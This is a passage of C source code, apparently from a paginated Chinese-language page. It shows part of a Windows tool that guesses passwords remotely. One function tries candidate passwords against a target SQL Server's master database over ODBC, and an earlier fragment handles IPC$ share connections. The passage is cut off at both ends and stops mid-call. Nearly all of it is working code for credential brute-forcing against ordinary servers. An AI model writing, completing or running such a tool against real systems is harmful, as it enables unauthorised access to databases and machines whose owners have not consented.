(lpName,RemoteName); strcat(lpName,"\\ipc$");
ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE); if(ret==NO_ERROR) { return 0; } else { return 1; } } //////////////////////////////////////////////////////////////////////// DWORD WINAPI SQLCheck(PVOID pPwd) { file://定义局部变量 char szBuffer[1025]; char *pwd; SWORD swStrLen; SQLHDBC hdbc; SQLHANDLE henv; SQLRETURN retcode;//ODBC API运行返回值 SCHAR ConnStr[200];//连接数据库字符串 long PreviousCount;
file://取得传递过来准备探测的密码 pwd=(char *)pPwd; file://构造连接数据库字符 sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master", target,UserName,pwd); file://puts(ConnStr); __try{ file://创建数据库应用的环境句柄 if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS) { printf("\nAllocate environment handle failed.\n"); ExitProcess(1); } file://设置ODBC版本环境 if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER) SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS) { printf("\nSet the ODBC version environment attribute failed.\n"); SQLFreeHandle(SQL_HANDLE_ENV, henv); ExitProcess(1); } file://创建连接句柄 if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR *)&hdbc)) != SQL_SUCCESS) { printf("\nAllocate connection handle failed.\n"); SQLFreeHandle(SQL_HANDLE_ENV, henv); ExitProcess(1); } file://连接数据源 retcode= SQLDriverConnect(hdbc,N上一页 [1] [2] [3] [4] [5] [6] 下一页
|